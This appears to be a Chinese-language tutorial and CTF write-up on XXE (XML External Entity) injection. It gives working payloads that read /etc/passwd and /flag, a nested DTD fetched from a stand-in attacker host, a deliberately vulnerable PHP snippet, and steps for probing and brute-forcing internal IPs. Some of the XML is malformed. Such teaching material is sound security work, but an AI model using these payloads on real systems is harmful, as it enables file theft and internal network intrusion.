1.什么是XXE?
? ?XML External Entity(XXE)攻擊是一種利用 XML 處理器的漏洞,通過引入惡意的外部實體來攻擊應用程序的安全性。這種攻擊通常發生在對用戶提供的 XML 數據進行解析時,攻擊者利用了 XML 規范允許引用外部實體的特性。
? ?在XXE攻擊中,攻擊者通常會構造帶有惡意實體引用的 XML 數據,然后提交給應用程序進行解析。這些惡意實體引用可以指向本地文件系統中的文件、遠程服務器上的資源,甚至是網絡服務,從而導致應用程序執行不安全的操作,比如讀取敏感文件、執行任意代碼等。
? 用一句話總結就是:
XXE攻擊利用XML解析器的漏洞,通過在XML數據中注入惡意實體,使服務器解析時返回敏感信息或執行攻擊者指定的操作。
2.如何利用XXE?
? ?當應用程序對 XML 數據執行解析時,如果未正確配置和處理外部實體引用,就可能存在 XML 實體注入(XXE)漏洞。這種漏洞可以被惡意攻擊者利用來執行各種攻擊,包括讀取敏感文件、執行遠程請求等。
? ? 下面是一個簡單的例子來說明 XXE 漏洞:
? ? ?假設有一個簡單的 XML 文件 example.xml,內容如下:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><content>&xxe;</content> </root>
? ? 在這個例子中,定義了一個叫做xxe
的外部實體,它使用 SYSTEM
聲明引用了一個本地文件 /etc/passwd
。然后在 XML 內容中,我們引用了這個外部實體來填充 <content>
元素。
? ? 假設應用程序在接收到這個 XML 文件時,未對外部實體進行適當的限制和過濾,那么在解析這個 XML 文件時就會觸發 XXE 漏洞。攻擊者可以通過構造包含惡意實體引用的 XML 數據,來讀取或者執行系統中的敏感文件,比如 /etc/passw。
3.XML文檔
● XML文檔必須有根元素
● XML文檔必須有關閉標簽
● XML標簽對大小寫敏感
● XML元素必須被正確的嵌套
● XML屬性必須加引號
也就是必須滿足上面的格式xml文檔的內容才會被識別和解析,那么必定會有一個評判的標準,那也就是DTD(document type definition)自動校準,可以是一個獨立的文件,也可以在xml文件里面去聲明。
DTD(內部的引用):
< !DOCTYPE?TranInfo[
<! ELEMENT TranInfo(CdtrInf, DbtrInf,Amt)>
<! ELEMENT CdtrInf(Id,Nm)>
<! ELEMENT DbtrInf(Id, Nm)>
]>
XML文件:
<? xml version="1.0" encoding="UTF-8"?>
<TranInfo>
<CdtrInf>
<Id>6226097558881666</Id>
</CdtrInf>
<Nm>小白</Nm>
<DbtrInf>
<Id>6222083803003983</Id>
<Nm>小黑</Nm>
</DbtrInf>
<Amt>1000</Amt>
</TranInfo>
有沒有發現上面的DTD與下面的XML一一對應的。
外部的引用:
<? xml version="1.0" encoding="UTF-8"?>
<! DOCTYPE name[
!ELEMENT name ANY >
!ENTITY xxe SYSTEM "file:///D:/test/test.dtd" >
]>
<people>
<name>xiaohei</name>
<area>&xxe ;< /area>
</ people>
從這里就會涉及一個外部實體的引用。
外部實體引用協議
常見的使用方式:
1.file:///etc/passwd
2.php://filter/read=convert.base64-encode/resource=index.php
3.http:/www.baidu.com/evil.dtd
4.graphql://api.example.com/graphql
總之:一般完整的XML文件內容:
<!-- 第一部分:XML聲明部分 -- >
<? xml version="1.0"?>
<!-- 第二部分:文檔類型定義 DTD -- >
<! DOCTYPE note[
<!-- 外部實體聲明 -- >
! ENTITY entity-name SYSTEM "URI/URL">
1>
<!-- 第三部分:文檔元素 -- >
<note>
<to>Dave</to>
<from>GiGi</from>
<head>Reminder</head>
<body>fish together</body>
</note>
4.漏洞演示
我們已經知道了XML文檔一般長什么樣,其實最重要的就是外部實體的引用:file:///D:/test/test.dtd
這里面可能會是一個http請求,很可能會導致漏洞出現。
常見的危害就是任意文件讀取,系統命令執行,內網端口探測等
其實還有一個漏洞XXE注入比較茍:
層層嵌套
那就是我在外部引用DTD沒啥問題,但是這個DTD在里面又進行了一次外部實體引用
根據SinHub大佬的說法:
xxe.xml
<? xml version="1.0"?>
<! DOCTYPE a SYSTEM "http://evil3z7.com/evil.dtd">
<c>&b ;< /c>
evil.dtd
<! ENTITY b SYSTEM "file:///etc/passwd">
上面進行了雙重引用\
實戰演練:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile?=?file_get_contents('php://input');
if(isset($xmlfile)){
????$dom?=?new?DOMDocument();
????$dom->loadXML($xmlfile,?LIBXML_NOENT?|?LIBXML_DTDLOAD);
????$creds?=?simplexml_import_dom($dom);
????$ctfshow?=?$creds->ctfshow;
????echo?$ctfshow;
}
highlight_file(__FILE__);????
這里就直接bp抓包給一手:
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>直接拿下。
這里還有一道特別精彩的題目:來自https://www.cnblogs.com/upfine/p/16570120.html
首先:出現一個界面
二話不說直接抓包給一手:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password>
</user>
發現沒有用,那就換成其他命令:
包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最終在proc/net/fib_trie發現一個新的ip:10.244.80.202,結果如下:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM ?"file:etc/hosts">
]>
<user>
?? ?<username>&file;</username>
?? ?<password>1</password>
</user>
這里獲得一個新的地址,嘗試下進行連接結果如下:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM ?"http://10.244.80.202/">
]>
<user>
?? ?<username>&file;</username>
?? ?<password>1</password>
</user>
發現鏈接不上,接下來那就嘗試同網段下面的不同地址。
爆破一手
直接拿下。
希望文章能夠幫助到大家,謝謝!